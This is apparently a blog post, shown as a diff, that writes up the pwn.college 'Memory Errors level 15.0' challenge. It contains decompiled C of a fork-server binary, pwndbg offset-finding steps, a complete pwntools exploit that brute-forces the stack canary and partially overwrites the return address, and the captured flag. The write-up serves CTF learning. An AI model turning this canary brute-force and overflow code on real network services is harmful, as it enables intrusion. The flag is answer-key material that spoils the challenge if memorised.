|
| 1 | +--- |
| 2 | +layout: post |
| 3 | +title: (Memory Errors) level 15.0 |
| 4 | +date: 2025-07-09 13:09:01 +0300 |
| 5 | +categories: pwn.college Memory-Errors |
| 6 | +tags: pwn.college memory-errors partial-overwrite brute-force stack-canary buffer-overflow |
| 7 | +--- |
| 8 | + |
| 9 | +## Information |
| 10 | +- category: pwn |
| 11 | + |
| 12 | +## Description |
| 13 | +> Defeat a stack canary in a PIE binary by utilizing a network-style fork server in the target binary. |
| 14 | +
|
| 15 | +## Write-up |
| 16 | +This code was reversed using **IDA**: |
| 17 | +```c |
| 18 | +int __fastcall main(int argc, const char **argv, const char **envp) |
| 19 | +{ |
| 20 | + int optval; // [rsp+24h] [rbp-101Ch] BYREF |
| 21 | + int fd; // [rsp+28h] [rbp-1018h] |
| 22 | + int v7; // [rsp+2Ch] [rbp-1014h] |
| 23 | + sockaddr addr; // [rsp+30h] [rbp-1010h] BYREF |
| 24 | + unsigned __int64 v9; // [rsp+1038h] [rbp-8h] |
| 25 | + |
| 26 | + v9 = __readfsqword(0x28u); |
| 27 | + setvbuf(stdin, 0LL, 2, 0LL); |
| 28 | + setvbuf(stdout, 0LL, 2, 0LL); |
| 29 | + puts("###"); |
| 30 | + printf("### Welcome to %s!\n", *argv); |
| 31 | + puts("###"); |
| 32 | + putchar(10); |
| 33 | + puts("This challenge is listening for connections on TCP port 1337.\n"); |
| 34 | + puts("The challenge supports unlimited sequential connections.\n"); |
| 35 | + fd = socket(2, 1, 0); |
| 36 | + optval = 1; |
| 37 | + setsockopt(fd, 1, 2, &optval, 4u); |
| 38 | + addr.sa_family = 2; |
| 39 | + *(_DWORD *)&addr.sa_data[2] = 0; |
| 40 | + *(_WORD *)addr.sa_data = htons(0x539u); |
| 41 | + bind(fd, &addr, 0x10u); |
| 42 | + listen(fd, 1); |
| 43 | + while ( 1 ) |
| 44 | + { |
| 45 | + v7 = accept(fd, 0LL, 0LL); |
| 46 | + if ( !fork() ) |
| 47 | + break; |
| 48 | + close(v7); |
| 49 | + wait(0LL); |
| 50 | + } |
| 51 | + dup2(v7, 0); |
| 52 | + dup2(v7, 1); |
| 53 | + dup2(v7, 2); |
| 54 | + close(fd); |
| 55 | + close(v7); |
| 56 | + challenge((unsigned int)argc, argv, envp); |
| 57 | + puts("### Goodbye!"); |
| 58 | + return 0; |
| 59 | +} |
| 60 | +``` |
| 61 | +**The binary uses ```htons``` to bind a socket, listening on port ```0x0539```, which is ```1337``` in decimal**. |
| 62 | +You can interact with the service locally using: |
| 63 | +```bash |
| 64 | +nc 127.0.0.1 1337 |
| 65 | +``` |
| 66 | +Now we’ll set our **breakpoints** using ```pwndbg``` and run the challenge. |
| 67 | +We’ll place a breakpoint at ```challenge +1645```, which corresponds to the call to ```read``` inside the challenge function: |
| 68 | +```bash |
| 69 | +pwndbg /challenge/babymem-level-15-0 |
| 70 | +... |
| 71 | +pwndbg > b*challenge + 1654 |
| 72 | +``` |
| 73 | +This allows us to inspect the stack before and after the ```read``` call to confirm the buffer overflow. |
| 74 | + |
| 75 | +```bash |
| 76 | +pwndbg> p/x $rsi |
| 77 | +# $rsi points to the buffer we're writing into |
| 78 | + |
| 79 | +pwndbg> stack |
| 80 | +# Inspect the stack layout |
| 81 | +# Look for the canary (usually starts with 0x00******) and saved return address |
| 82 | + |
| 83 | +pwndbg> dist $rsi <canary_address> |
| 84 | +# Calculate offset from buffer to canary |
| 85 | + |
| 86 | +pwndbg> i f |
| 87 | +# Show the current frame info (where saved RIP is stored) |
| 88 | + |
| 89 | +pwndbg> dist $rsi <saved_return_address> |
| 90 | +# Calculate offset from buffer to saved RIP |
| 91 | +``` |
| 92 | +> This is our method, but you can explore and solve it using your own strategy too. |
| 93 | +{: .prompt-info} |
| 94 | + |
| 95 | +## Exploit |
| 96 | +```python |
| 97 | +#!/usr/bin/env python3 |
| 98 | + |
| 99 | +from pwn import * |
| 100 | + |
| 101 | +exe = ELF("./babymem-level-15-0_patched") |
| 102 | + |
| 103 | +context.binary = exe |
| 104 | + |
| 105 | + |
| 106 | +def conn(): |
| 107 | + r = remote("127.0.0.1", 1337) |
| 108 | + |
| 109 | + return r |
| 110 | + |
| 111 | +def send_payload(p, payload): |
| 112 | + |
| 113 | + p.sendline(f"{len(payload)}".encode()) |
| 114 | + p.send(payload) |
| 115 | + |
| 116 | + |
| 117 | +def brute_force_canary(): |
| 118 | + canary = b"\x00" |
| 119 | + i = 0x00 |
| 120 | + while len(canary) < 0x8: |
| 121 | + for i in range(0x00,0xff): |
| 122 | + with remote("127.0.0.1" , 1337) as p: |
| 123 | + send_payload(p, b"A"*56 + canary + bytes([i]) ) |
| 124 | + res = p.recvall(timeout=4) |
| 125 | + if b"*** stack smashing detected ***" not in res: |
| 126 | + canary+= bytes([i]) |
| 127 | + break |
| 128 | + |
| 129 | + log.success(f"Canary: {canary}") |
| 130 | + |
| 131 | + return canary |
| 132 | +def jump_to_win(canary): |
| 133 | + i = 0x00 |
| 134 | + while i < 0xff: |
| 135 | + p = conn() |
| 136 | + fixed = b"\x22" |
| 137 | + padding_to_canary = b"A"*56 |
| 138 | + padding_to_ret = b"B"*8 |
| 139 | + |
| 140 | + payload = padding_to_canary + canary + padding_to_ret + fixed + bytes([i]) |
| 141 | + |
| 142 | + send_payload(p, payload) |
| 143 | + res = p.recvall() |
| 144 | + if b"pwn.college" in res: |
| 145 | + print(res.decode()) |
| 146 | + break |
| 147 | + else: |
| 148 | + i += 0x1 |
| 149 | + |
| 150 | +def main(): |
| 151 | + canary = brute_force_canary() |
| 152 | + |
| 153 | + jump_to_win(canary) |
| 154 | + |
| 155 | + |
| 156 | +if __name__ == "__main__": |
| 157 | + main() |
| 158 | +``` |
| 159 | + |
| 160 | +## Flag |
| 161 | +> Flag: ```pwn.college{PiU_dHA8jccj_TYZgFn1iejPdTj.01NxMDL5cTNxgzW}``` |
0 commit comments